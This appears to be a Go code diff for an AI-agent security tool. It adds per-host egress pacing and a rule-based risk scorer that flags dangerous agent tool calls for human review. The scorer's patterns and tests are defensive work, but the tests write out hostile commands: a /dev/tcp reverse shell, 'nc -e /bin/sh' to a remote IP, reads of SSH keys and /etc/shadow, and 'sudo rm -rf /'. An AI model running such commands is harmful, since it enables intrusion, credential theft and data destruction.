|
||||
defer t.Stop()
|
||||
for range t.C {
|
||||
for _, l := range Current().report() {
|
||||
log.Print(l)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
return g
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
// Governor holds the per-host state and the per-task response cache.
|
||||
type Governor struct {
|
||||
@@ -123,6 +174,9 @@ func New(p Profile) *Governor {
|
||||
|
||||
func (g *Governor) off() bool { return g.p.RPS <= 0 }
|
||||
|
||||
// Profile is the profile g was built for.
|
||||
func (g *Governor) Profile() Profile { return g.p }
|
||||
|
||||
// HostKey is the lowercased host, with the port when it is not the default.
|
||||
func HostKey(u *url.URL) string {
|
||||
h, p := strings.ToLower(u.Hostname()), u.Port()
|
||||
@@ -240,6 +294,35 @@ func (g *Governor) report() []string {
|
||||
return out
|
||||
}
|
||||
|
||||
// HostNoise is the noise counter of one host: the current minute (RPM,
|
||||
// DuplicatesAvoided, PeakInflight), the peak per minute so far, and the
|
||||
// requests in flight now.
|
||||
type HostNoise struct {
|
||||
Host string `json:"host"`
|
||||
RPM int `json:"rpm"`
|
||||
PeakRPM int `json:"peak_rpm"`
|
||||
PeakInflight int `json:"peak_inflight"`
|
||||
Inflight int `json:"inflight"`
|
||||
DuplicatesAvoided int `json:"duplicates_avoided"`
|
||||
}
|
||||
|
||||
// Snapshot returns the counter of every host that has sent or deduplicated a
|
||||
// request, sorted by host. Unlike report it starts no new minute.
|
||||
func (g *Governor) Snapshot() []HostNoise {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
out := []HostNoise{}
|
||||
for key, h := range g.hosts {
|
||||
if h.sent == 0 && h.dupes == 0 && h.inflight == 0 && h.peakRPM == 0 {
|
||||
continue
|
||||
}
|
||||
out = append(out, HostNoise{Host: key, RPM: h.sent, PeakRPM: max(h.peakRPM, h.sent),
|
||||
PeakInflight: h.peakInflight, Inflight: h.inflight, DuplicatesAvoided: h.dupes})
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].Host < out[j].Host })
|
||||
return out
|
||||
}
|
||||
|
||||
var errNotShared = errors.New("egress: response not shared")
|
||||
|
||||
// share runs fn once for the concurrent callers of key and keeps its value for
|
||||
@@ -344,6 +427,25 @@ type transport struct {
|
||||
base http.RoundTripper
|
||||
}
|
||||
|
||||
// Dynamic returns base (nil: http.DefaultTransport) governed by the governor
|
||||
// current at each request, for a client built once and kept: a later
|
||||
// SetProfile applies to its next request. Off, the request goes to base as is.
|
||||
func Dynamic(namespace string, base http.RoundTripper) http.RoundTripper {
|
||||
if base == nil {
|
||||
base = http.DefaultTransport
|
||||
}
|
||||
return dynamicTransport{namespace, base}
|
||||
}
|
||||
|
||||
type dynamicTransport struct {
|
||||
namespace string
|
||||
base http.RoundTripper
|
||||
}
|
||||
|
||||
func (d dynamicTransport) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
return Current().Transport(d.namespace, d.base).RoundTrip(req)
|
||||
}
|
||||
|
||||
const maxSharedBody = 2 << 20 // a larger response is neither coalesced nor cached
|
||||
|
||||
func (t *transport) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
package egress
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Bash commands reach targets through the recording proxy, outside the clients
|
||||
// this package governs. With traffic capture on, the proxy URL in their
|
||||
// environment carries a marker userinfo (MarkProxyURL). The proxy paces each
|
||||
// request of a marked client connection with Wait, and leaves unmarked
|
||||
// connections alone: WebFetch, the http custom tools and the enrich probe use
|
||||
// the plain proxy URL and are already paced by their governor, so no request
|
||||
// is paced twice. Best effort, not a security boundary: a command that ignores
|
||||
// the proxy, or drops the marker, is not paced.
|
||||
|
||||
// PaceUser is the user and password of the marker userinfo.
|
||||
const PaceUser = "artex-pace"
|
||||
|
||||
// MarkProxyURL returns raw with the marker userinfo. raw is returned unchanged
|
||||
// when it does not parse or already carries a userinfo.
|
||||
func MarkProxyURL(raw string) string {
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil || u.Host == "" || u.User != nil {
|
||||
return raw
|
||||
}
|
||||
u.User = url.UserPassword(PaceUser, PaceUser)
|
||||
return u.String()
|
||||
}
|
||||
|
||||
// IsPaceMarker reports whether a Proxy-Authorization value is Basic
|
||||
// credentials for PaceUser.
|
||||
func IsPaceMarker(proxyAuthorization string) bool {
|
||||
scheme, enc, ok := strings.Cut(strings.TrimSpace(proxyAuthorization), " ")
|
||||
if !ok || !strings.EqualFold(scheme, "Basic") {
|
||||
return false
|
||||
}
|
||||
dec, err := base64.StdEncoding.DecodeString(strings.TrimSpace(enc))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
user, _, _ := strings.Cut(string(dec), ":")
|
||||
return user == PaceUser
|
||||
}
|
||||
|
||||
// Wait paces one request to hostKey under the current profile. See
|
||||
// Governor.Wait.
|
||||
func Wait(ctx context.Context, hostKey string) error { return Current().Wait(ctx, hostKey) }
|
||||
|
||||
// Wait takes a token of the host's bucket plus the jitter, as a governed request
|
||||
// does, and counts the request in the host's noise counter. It takes no
|
||||
// in-flight slot, and nothing is cached, coalesced or retried. Off, it returns
|
||||
// at once and counts nothing. An error means ctx ended first; the request is
|
||||
// counted either way, since the caller sends it regardless.
|
||||
func (g *Governor) Wait(ctx context.Context, hostKey string) error {
|
||||
if g.off() {
|
||||
return nil
|
||||
}
|
||||
h := g.host(hostKey)
|
||||
err := sleep(ctx, g.reserve(h)+g.jitter())
|
||||
g.mu.Lock()
|
||||
h.sent++
|
||||
g.mu.Unlock()
|
||||
return err
|
||||
}
|
||||
Executable
+85
@@ -0,0 +1,85 @@
|
||||
package egress
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestMarkProxyURL(t *testing.T) {
|
||||
for in, want := range map[string]string{
|
||||
"http://127.0.0.1:8788": "http://artex-pace:artex-pace@127.0.0.1:8788",
|
||||
"http://u:p@127.0.0.1:8788": "http://u:p@127.0.0.1:8788",
|
||||
"": "",
|
||||
"127.0.0.1:8788": "127.0.0.1:8788",
|
||||
"socks5://proxy.example.test:1080": "socks5://artex-pace:artex-pace@proxy.example.test:1080",
|
||||
} {
|
||||
if got := MarkProxyURL(in); got != want {
|
||||
t.Errorf("MarkProxyURL(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsPaceMarker(t *testing.T) {
|
||||
enc := func(s string) string { return base64.StdEncoding.EncodeToString([]byte(s)) }
|
||||
for v, want := range map[string]bool{
|
||||
"Basic " + enc("artex-pace:artex-pace"): true,
|
||||
"basic " + enc("artex-pace:x"): true,
|
||||
"Basic " + enc("user:pass"): false,
|
||||
"Bearer " + enc("artex-pace:artex-pace"): false,
|
||||
"Basic !!!": false,
|
||||
"Basic": false,
|
||||
"": false,
|
||||
} {
|
||||
if got := IsPaceMarker(v); got != want {
|
||||
t.Errorf("IsPaceMarker(%q) = %v, want %v", v, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestWait(t *testing.T) {
|
||||
if err := New(Profile{Name: "off"}).Wait(t.Context(), "a.example"); err != nil {
|
||||
t.Fatalf("off Wait: %v", err)
|
||||
}
|
||||
off := New(Profile{Name: "off"})
|
||||
_ = off.Wait(t.Context(), "a.example")
|
||||
if s := off.Snapshot(); len(s) != 0 {
|
||||
t.Fatalf("off counted: %v", s)
|
||||
}
|
||||
|
||||
// 10 req/s, burst 1, no jitter: the second Wait takes ~100 ms.
|
||||
g := New(Profile{Name: "test", RPS: 10, Burst: 1, MaxPerHost: 1, MaxGlobal: 1})
|
||||
start := time.Now()
|
||||
for range 2 {
|
||||
if err := g.Wait(t.Context(), "a.example"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
if d := time.Since(start); d < 80*time.Millisecond {
|
||||
t.Fatalf("two Waits at 10 req/s took %v", d)
|
||||
}
|
||||
if s := g.Snapshot(); len(s) != 1 || s[0].RPM != 2 || s[0].Inflight != 0 || s[0].PeakInflight != 0 {
|
||||
t.Fatalf("snapshot after Wait = %+v, want rpm 2 and no in-flight slot", s)
|
||||
}
|
||||
|
||||
// A wait past the context's end returns its error and still counts.
|
||||
slow := New(Profile{Name: "test", RPS: 0.5, Burst: 1, MaxPerHost: 1, MaxGlobal: 1})
|
||||
_ = slow.Wait(t.Context(), "b.example")
|
||||
ctx, cancel := context.WithTimeout(t.Context(), 20*time.Millisecond)
|
||||
defer cancel()
|
||||
if err := slow.Wait(ctx, "b.example"); !errors.Is(err, context.DeadlineExceeded) {
|
||||
t.Fatalf("bounded Wait: %v, want DeadlineExceeded", err)
|
||||
}
|
||||
if s := slow.Snapshot(); len(s) != 1 || s[0].RPM != 2 {
|
||||
t.Fatalf("snapshot after a timed-out Wait = %+v, want rpm 2", s)
|
||||
}
|
||||
|
||||
// The package Wait uses the current profile.
|
||||
keepProfile(t)
|
||||
SetProfile(Profile{Name: "off"})
|
||||
if err := Wait(t.Context(), "c.example"); err != nil || len(Current().Snapshot()) != 0 {
|
||||
t.Fatalf("package Wait under off: err=%v snapshot=%v", err, Current().Snapshot())
|
||||
}
|
||||
}
|
||||
+3
-2
@@ -99,7 +99,8 @@ func New(as *db.AssetStore, proxy func() string, workers int) *Engine {
|
||||
// probe without a scope is refused. When the scope's gate is on, the probe
|
||||
// connects to the target itself, without the proxy, so that the dialer decides
|
||||
// on the target and connects only to the addresses a pin covers. Every request
|
||||
// goes through the shared egress governor (the noise profile; off by default).
|
||||
// goes through the egress governor current at that request (the noise profile;
|
||||
// off by default), so a changed profile applies without rebuilding the client.
|
||||
func buildClient(proxy func() string) *http.Client {
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
@@ -120,7 +121,7 @@ func buildClient(proxy func() string) *http.Client {
|
||||
}
|
||||
}
|
||||
return &http.Client{
|
||||
Transport: egress.Shared().Transport("enrich", tr),
|
||||
Transport: egress.Dynamic("enrich", tr),
|
||||
Timeout: httpTimeout,
|
||||
// cap redirects; keep them within scope by re-checking at probe time
|
||||
CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse },
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
package intercept
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// RiskReport is a deterministic estimate of how dangerous a pending tool call
|
||||
// is. No model is involved, and it is computed when a pending row is read,
|
||||
// never stored: changing the rules below re-scores every open request.
|
||||
type RiskReport struct {
|
||||
Score int `json:"score"` // 0..100
|
||||
Level string `json:"level"` // low (<30) | medium (30..69) | high (>=70)
|
||||
Reasons []string `json:"reasons"` // one per matched signal, in table order
|
||||
}
|
||||
|
||||
const (
|
||||
riskMediumAt = 30
|
||||
riskHighAt = 70
|
||||
riskMax = 100
|
||||
)
|
||||
|
||||
func riskLevel(score int) string {
|
||||
switch {
|
||||
case score >= riskHighAt:
|
||||
return "high"
|
||||
case score >= riskMediumAt:
|
||||
return "medium"
|
||||
}
|
||||
return "low"
|
||||
}
|
||||
|
||||
type riskSignal struct {
|
||||
reason string
|
||||
points int
|
||||
match func(string) bool
|
||||
}
|
||||
|
||||
func reSignal(reason string, points int, pattern string) riskSignal {
|
||||
re := regexp.MustCompile(pattern)
|
||||
return riskSignal{reason, points, re.MatchString}
|
||||
}
|
||||
|
||||
// shellBase is the score of a shell command that matches no signal.
|
||||
const shellBase = 10
|
||||
|
||||
// shellSignals are additive; each counts once, and reasons follow this order.
|
||||
var shellSignals = []riskSignal{
|
||||
// 60 so that a destructive command alone reaches high: 10 + 60 = 70.
|
||||
reSignal("destructive command (rm -r, dd, mkfs, shred, truncate, DROP TABLE, DELETE FROM, shutdown)", 60,
|
||||
`(?i)\brm\s+([^;&|]*\s)?(-[a-z]*r[a-z]*|--recursive)(\s|$)|\bdd\s+[^;&|]*\b(if|of)=|\bmkfs\b|\bshred\b|\btruncate\b|\bdrop\s+table\b|\bdelete\s+from\b|\bshutdown\b`),
|
||||
reSignal("privilege change (sudo, su, chmod 777, setcap)", 40,
|
||||
`(^|[\s;&|(])(sudo|su)(\s|$)|\bchmod\s+(-\w+\s+)*0?777\b|\bsetcap\b`),
|
||||
reSignal("reads secrets (/etc/shadow, .ssh, .aws/credentials, .git-credentials)", 40,
|
||||
`/etc/shadow|\.ssh/|\.aws/credentials|\.git-credentials`),
|
||||
reSignal("possible exfiltration (curl upload, scp, remote rsync, nc, socat)", 40,
|
||||
`\bcurl\b[^;&|]*\s(-d|--data[\w-]*|-F|--form|-T|--upload-file)(\s|=|$)|\bscp\b|\brsync\b[^;&|]*\s\S+:|\bnc\b|\bncat\b|\bsocat\b`),
|
||||
reSignal("reverse shell pattern (/dev/tcp, nc -e)", 60,
|
||||
`/dev/tcp/|\b(nc|ncat)\b[^;&|]*\s-e(\s|$)`),
|
||||
reSignal("network scanner (nmap, nuclei, sqlmap, ffuf, hydra, masscan, dalfox)", 30,
|
||||
`\b(nmap|nuclei|sqlmap|ffuf|hydra|masscan|dalfox)\b`),
|
||||
{"writes files (redirection or tee)", 15, writesFile},
|
||||
}
|
||||
|
||||
var teeRE = regexp.MustCompile(`(^|[|;&]\s*)tee\b`)
|
||||
|
||||
// writesFile reports an output redirection to a file, or tee. "2>&1" and
|
||||
// redirections to /dev/null are not writes.
|
||||
func writesFile(cmd string) bool {
|
||||
if teeRE.MatchString(cmd) {
|
||||
return true
|
||||
}
|
||||
for i := 0; i < len(cmd); i++ {
|
||||
if cmd[i] != '>' {
|
||||
continue
|
||||
}
|
||||
rest := strings.TrimLeft(strings.TrimPrefix(cmd[i+1:], ">"), " \t")
|
||||
if strings.HasPrefix(rest, "&") || strings.HasPrefix(rest, "/dev/null") || rest == "" {
|
||||
continue
|
||||
}
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// fileBase is the score of a file write or edit; a sensitive path adds
|
||||
// fileSensitive on top, which makes it high.
|
||||
const (
|
||||
fileBase = 30
|
||||
fileSensitive = 40
|
||||
)
|
||||
|
||||
var sensitivePathRE = regexp.MustCompile(`(^|/)(\.ssh|\.aws|\.gnupg)/|^/etc/|^/root/|^/boot/|/\.git-credentials$|/\.(bashrc|bash_profile|profile|zshrc)$|/authorized_keys$|(^|/)\.env$`)
|
||||
|
||||
// webBase is the score of a web read; a mutating method adds webMutating.
|
||||
const (
|
||||
webBase = 10
|
||||
webMutating = 30
|
||||
)
|
||||
|
||||
// unknownBase is the floor for MCP tools, unrecognized tools and unreadable
|
||||
// input: medium, never low.
|
||||
const unknownBase = 30
|
||||
|
||||
// ScoreRisk scores one tool call. It never panics on malformed input: input
|
||||
// that is not a JSON object scores medium with a reason.
|
||||
func ScoreRisk(tool string, input json.RawMessage) RiskReport {
|
||||
var fields map[string]any
|
||||
if err := json.Unmarshal(input, &fields); err != nil || fields == nil {
|
||||
return riskReport(unknownBase, []string{"tool input is not a valid JSON object"})
|
||||
}
|
||||
str := func(keys ...string) string {
|
||||
for _, k := range keys {
|
||||
if v, ok := fields[k].(string); ok && v != "" {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
switch tool {
|
||||
case "Bash", "shell_open", "Monitor", "shell_send":
|
||||
cmd := str("command", "text")
|
||||
score, reasons := shellBase, []string{}
|
||||
for _, s := range shellSignals {
|
||||
if s.match(cmd) {
|
||||
score += s.points
|
||||
reasons = append(reasons, s.reason)
|
||||
}
|
||||
}
|
||||
return riskReport(score, reasons)
|
||||
case "Write", "Edit", "MultiEdit", "NotebookEdit":
|
||||
reasons := []string{"writes or edits a file"}
|
||||
score := fileBase
|
||||
if sensitivePathRE.MatchString(str("file_path", "path", "notebook_path")) {
|
||||
score += fileSensitive
|
||||
reasons = append(reasons, "sensitive path (system, credential or shell startup file)")
|
||||
}
|
||||
return riskReport(score, reasons)
|
||||
case "WebFetch", "web_search":
|
||||
method := strings.ToUpper(str("method"))
|
||||
switch method {
|
||||
case "POST", "PUT", "PATCH", "DELETE":
|
||||
return riskReport(webBase+webMutating, []string{"mutating HTTP method " + method})
|
||||
}
|
||||
return riskReport(webBase, []string{})
|
||||
}
|
||||
if strings.HasPrefix(tool, "mcp__") {
|
||||
return riskReport(unknownBase, []string{"MCP tool: no specific rules"})
|
||||
}
|
||||
return riskReport(unknownBase, []string{"unrecognized tool: no specific rules"})
|
||||
}
|
||||
|
||||
func riskReport(score int, reasons []string) RiskReport {
|
||||
score = min(score, riskMax)
|
||||
return RiskReport{Score: score, Level: riskLevel(score), Reasons: reasons}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package intercept
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"slices"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestScoreRisk(t *testing.T) {
|
||||
sig := func(i int) string { return shellSignals[i].reason }
|
||||
const (
|
||||
destructive = iota
|
||||
privilege
|
||||
secrets
|
||||
exfil
|
||||
reverse
|
||||
scanner
|
||||
writes
|
||||
)
|
||||
bash := func(cmd string) json.RawMessage {
|
||||
raw, _ := json.Marshal(map[string]string{"command": cmd})
|
||||
return raw
|
||||
}
|
||||
cases := []struct {
|
||||
name string
|
||||
tool string
|
||||
input json.RawMessage
|
||||
score int
|
||||
level string
|
||||
reasons []string
|
||||
}{
|
||||
{"plain command", "Bash", bash("ls -la"), 10, "low", nil},
|
||||
{"destructive alone is high", "Bash", bash("rm -rf ./cache"), 70, "high", []string{sig(destructive)}},
|
||||
{"rm -rf", "Bash", bash("rm -rf /tmp/x"), 70, "high", []string{sig(destructive)}},
|
||||
{"rm -R", "Bash", bash("rm -R build"), 70, "high", []string{sig(destructive)}},
|
||||
{"rm of a file named -r suffix", "Bash", bash("rm file-r"), 10, "low", nil},
|
||||
{"dd", "Bash", bash("dd if=/dev/zero of=/dev/sda"), 70, "high", []string{sig(destructive)}},
|
||||
{"mkfs", "Bash", bash("mkfs.ext4 /dev/sdb1"), 70, "high", []string{sig(destructive)}},
|
||||
{"shred", "Bash", bash("shred -u key.pem"), 70, "high", []string{sig(destructive)}},
|
||||
{"truncate", "Bash", bash("truncate -s 0 app.log"), 70, "high", []string{sig(destructive)}},
|
||||
{"drop table", "Bash", bash(`psql -c "DROP TABLE users"`), 70, "high", []string{sig(destructive)}},
|
||||
{"delete from", "Bash", bash(`psql -c "delete from users"`), 70, "high", []string{sig(destructive)}},
|
||||
{"shutdown", "Bash", bash("shutdown -h now"), 70, "high", []string{sig(destructive)}},
|
||||
{"sudo", "Bash", bash("sudo id"), 50, "medium", []string{sig(privilege)}},
|
||||
{"su", "Bash", bash("su - root"), 50, "medium", []string{sig(privilege)}},
|
||||
{"chmod 777", "Bash", bash("chmod -R 777 /srv"), 50, "medium", []string{sig(privilege)}},
|
||||
{"setcap", "Bash", bash("setcap cap_net_raw+ep ./bin"), 50, "medium", []string{sig(privilege)}},
|
||||
{"/etc/shadow", "Bash", bash("cat /etc/shadow"), 50, "medium", []string{sig(secrets)}},
|
||||
{".ssh", "Bash", bash("cat ~/.ssh/id_rsa"), 50, "medium", []string{sig(secrets)}},
|
||||
{".aws/credentials", "Bash", bash("cat ~/.aws/credentials"), 50, "medium", []string{sig(secrets)}},
|
||||
{".git-credentials", "Bash", bash("cat ~/.git-credentials"), 50, "medium", []string{sig(secrets)}},
|
||||
{"curl -d", "Bash", bash("curl -d @data.json https://x.example"), 50, "medium", []string{sig(exfil)}},
|
||||
{"curl -F", "Bash", bash("curl -F file=@a.zip https://x.example"), 50, "medium", []string{sig(exfil)}},
|
||||
{"curl -T", "Bash", bash("curl -T a.zip https://x.example"), 50, "medium", []string{sig(exfil)}},
|
||||
{"curl get", "Bash", bash("curl -s https://x.example"), 10, "low", nil},
|
||||
{"scp", "Bash", bash("scp dump.sql u@h:/tmp"), 50, "medium", []string{sig(exfil)}},
|
||||
{"rsync remote", "Bash", bash("rsync -a data/ u@h:/backup"), 50, "medium", []string{sig(exfil)}},
|
||||
{"rsync local", "Bash", bash("rsync -a data/ backup/"), 10, "low", nil},
|
||||
{"socat", "Bash", bash("socat - TCP:h:9000"), 50, "medium", []string{sig(exfil)}},
|
||||
{"/dev/tcp", "Bash", bash("bash -i >& /dev/tcp/203.0.113.1/4444 0>&1"), 70, "high", []string{sig(reverse)}},
|
||||
{"nc -e caps at 100", "Bash", bash("nc -e /bin/sh 203.0.113.1 4444"), 100, "high", []string{sig(exfil), sig(reverse)}},
|
||||
{"scanner", "Bash", bash("nmap -sV target.example"), 40, "medium", []string{sig(scanner)}},
|
||||
{"redirection", "Bash", bash("echo x > out.txt"), 25, "low", []string{sig(writes)}},
|
||||
{"append", "Bash", bash("echo x >> out.txt"), 25, "low", []string{sig(writes)}},
|
||||
{"tee", "Bash", bash("echo x | tee out.txt"), 25, "low", []string{sig(writes)}},
|
||||
{"stderr merge is no write", "Bash", bash("make 2>&1"), 10, "low", nil},
|
||||
{"/dev/null is no write", "Bash", bash("make > /dev/null"), 10, "low", nil},
|
||||
{"shell_send text", "shell_send", json.RawMessage(`{"text":"sudo id"}`), 50, "medium", []string{sig(privilege)}},
|
||||
{"cap and fixed reason order", "Bash", bash("cat /etc/shadow | nc h 1; sudo rm -rf /"), 100, "high",
|
||||
[]string{sig(destructive), sig(privilege), sig(secrets), sig(exfil)}},
|
||||
{"write", "Write", json.RawMessage(`{"file_path":"/tmp/notes.txt","content":"x"}`), 30, "medium",
|
||||
[]string{"writes or edits a file"}},
|
||||
{"edit authorized_keys", "Edit", json.RawMessage(`{"file_path":"/home/u/.ssh/authorized_keys"}`), 70, "high",
|
||||
[]string{"writes or edits a file", "sensitive path (system, credential or shell startup file)"}},
|
||||
{"write /etc", "Write", json.RawMessage(`{"file_path":"/etc/hosts"}`), 70, "high",
|
||||
[]string{"writes or edits a file", "sensitive path (system, credential or shell startup file)"}},
|
||||
{"webfetch get", "WebFetch", json.RawMessage(`{"url":"https://x.example"}`), 10, "low", nil},
|
||||
{"webfetch post", "WebFetch", json.RawMessage(`{"url":"https://x.example","method":"post"}`), 40, "medium",
|
||||
[]string{"mutating HTTP method POST"}},
|
||||
{"mcp tool", "mcp__srv__tool", json.RawMessage(`{}`), 30, "medium", []string{"MCP tool: no specific rules"}},
|
||||
{"unknown tool", "SomethingNew", json.RawMessage(`{"a":1}`), 30, "medium", []string{"unrecognized tool: no specific rules"}},
|
||||
{"invalid json", "Bash", json.RawMessage(`{not json`), 30, "medium", []string{"tool input is not a valid JSON object"}},
|
||||
{"json array", "Bash", json.RawMessage(`[]`), 30, "medium", []string{"tool input is not a valid JSON object"}},
|
||||
{"json null", "Write", json.RawMessage(`null`), 30, "medium", []string{"tool input is not a valid JSON object"}},
|
||||
{"empty input", "Bash", nil, 30, "medium", []string{"tool input is not a valid JSON object"}},
|
||||
}
|
||||
for _, c := range cases {
|
||||
got := ScoreRisk(c.tool, c.input)
|
||||
want := c.reasons
|
||||
if want == nil {
|
||||
want = []string{}
|
||||
}
|
||||
if got.Score != c.score || got.Level != c.level || !slices.Equal(got.Reasons, want) {
|
||||
t.Errorf("%s: got %+v, want score=%d level=%s reasons=%q", c.name, got, c.score, c.level, want)
|
||||
}
|
||||
if got.Reasons == nil {
|
||||
t.Errorf("%s: reasons must be an empty list, not null", c.name)
|
||||
}
|
||||
// Repeated scoring is stable.
|
||||
if again := ScoreRisk(c.tool, c.input); !slices.Equal(again.Reasons, got.Reasons) || again.Score != got.Score {
|
||||
t.Errorf("%s: unstable result %+v then %+v", c.name, got, again)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRiskLevelThresholds(t *testing.T) {
|
||||
for score, want := range map[int]string{0: "low", 29: "low", 30: "medium", 69: "medium", 70: "high", 100: "high"} {
|
||||
if got := riskLevel(score); got != want {
|
||||
t.Errorf("riskLevel(%d) = %s, want %s", score, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -566,13 +566,14 @@ func (s *Server) runHTTPTool(ctx context.Context, key string, execRaw json.RawMe
|
||||
client := &http.Client{Timeout: timeoutOr(spec.TimeoutMs, 30000)}
|
||||
// Every redirect hop goes through the target gate, as the rendered URL did.
|
||||
client.CheckRedirect = intercept.RedirectCheck(key)
|
||||
// The shared egress governor paces every request and redirect hop per host
|
||||
// under the noise profile (off by default: the base transport itself).
|
||||
// The current egress governor paces every request and redirect hop per host
|
||||
// under the noise profile (off by default: the base transport itself). It is
|
||||
// resolved per request, so a changed profile applies to the next call.
|
||||
var base http.RoundTripper = http.DefaultTransport
|
||||
if tr := s.httpToolTransport(ctx, key, spec); tr != nil {
|
||||
base = tr
|
||||
}
|
||||
client.Transport = egress.Shared().Transport(key, base)
|
||||
client.Transport = egress.Current().Transport(key, base)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return actool.Errorf("request failed: " + err.Error()), nil
|
||||
|
||||
+74
-4
@@ -231,6 +231,17 @@ func (s *Server) interceptToggleRule(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// --- pending (ask) ---
|
||||
|
||||
// interceptPendingDTO is a pending row plus its risk score. The embedded row
|
||||
// keeps every existing JSON field; the score is computed on read, never stored.
|
||||
type interceptPendingDTO struct {
|
||||
db.InterceptPending
|
||||
Risk intercept.RiskReport `json:"risk"`
|
||||
}
|
||||
|
||||
func pendingDTO(p db.InterceptPending) interceptPendingDTO {
|
||||
return interceptPendingDTO{InterceptPending: p, Risk: intercept.ScoreRisk(p.ToolName, p.ToolInput)}
|
||||
}
|
||||
|
||||
func (s *Server) interceptListPending(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
@@ -241,10 +252,11 @@ func (s *Server) interceptListPending(w http.ResponseWriter, r *http.Request) {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if pending == nil {
|
||||
pending = []db.InterceptPending{}
|
||||
out := make([]interceptPendingDTO, 0, len(pending))
|
||||
for _, p := range pending {
|
||||
out = append(out, pendingDTO(p))
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"pending": pending})
|
||||
writeJSON(w, 200, map[string]any{"pending": out})
|
||||
}
|
||||
|
||||
func (s *Server) interceptGetOne(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -266,7 +278,7 @@ func (s *Server) interceptGetOne(w http.ResponseWriter, r *http.Request) {
|
||||
writeErr(w, 404, "not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, p)
|
||||
writeJSON(w, 200, pendingDTO(*p))
|
||||
}
|
||||
|
||||
func (s *Server) interceptListTaskItems(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -414,6 +426,64 @@ func (s *Server) interceptDecide(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// maxBatchDecide bounds one batch decision request.
|
||||
const maxBatchDecide = 100
|
||||
|
||||
type batchDecideResult struct {
|
||||
ID int64 `json:"id"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// interceptBatchDecide applies one human decision to several pending requests.
|
||||
// Each id goes through the same Interceptor.Decide as the single decide route,
|
||||
// with the same approver and address: target pins, the decided_by=human audit
|
||||
// and the waiter wake-up are identical. One id failing (already decided, empty
|
||||
// target pin) is reported for that id and does not stop the others.
|
||||
func (s *Server) interceptBatchDecide(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
IDs []int64 `json:"ids"`
|
||||
Decision string `json:"decision"` // "allowed" | "denied"
|
||||
}
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if req.Decision != "allowed" && req.Decision != "denied" {
|
||||
writeErr(w, 400, "decision must be allowed or denied")
|
||||
return
|
||||
}
|
||||
if len(req.IDs) == 0 || len(req.IDs) > maxBatchDecide {
|
||||
writeErr(w, 400, fmt.Sprintf("ids must list between 1 and %d pending ids", maxBatchDecide))
|
||||
return
|
||||
}
|
||||
seen := make(map[int64]bool, len(req.IDs))
|
||||
ids := make([]int64, 0, len(req.IDs))
|
||||
for _, id := range req.IDs {
|
||||
if id <= 0 {
|
||||
writeErr(w, 400, fmt.Sprintf("bad pending id %d", id))
|
||||
return
|
||||
}
|
||||
if !seen[id] {
|
||||
seen[id] = true
|
||||
ids = append(ids, id)
|
||||
}
|
||||
}
|
||||
approver, addr := s.approver(r), clientIP(r, s.trustedProxies)
|
||||
results := make([]batchDecideResult, 0, len(ids))
|
||||
decided := 0
|
||||
for _, id := range ids {
|
||||
res := batchDecideResult{ID: id, OK: true}
|
||||
if err := s.m.interceptor.Decide(id, req.Decision == "allowed", approver, addr); err != nil {
|
||||
res.OK, res.Error = false, err.Error()
|
||||
} else {
|
||||
decided++
|
||||
}
|
||||
results = append(results, res)
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"decided": decided, "failed": len(ids) - decided, "results": results})
|
||||
}
|
||||
|
||||
// alwaysAllowPriority places "always allow" rules below every default and
|
||||
// manual rule, so any deny or ask rule that matches the same call wins.
|
||||
const alwaysAllowPriority = -1000
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
